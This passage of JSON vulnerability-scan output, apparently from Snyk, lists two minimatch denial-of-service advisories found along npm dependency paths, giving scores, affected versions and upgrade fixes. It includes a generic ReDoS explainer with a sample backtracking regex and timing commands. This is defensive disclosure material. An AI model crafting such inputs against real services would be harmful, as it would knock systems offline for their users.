"alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a 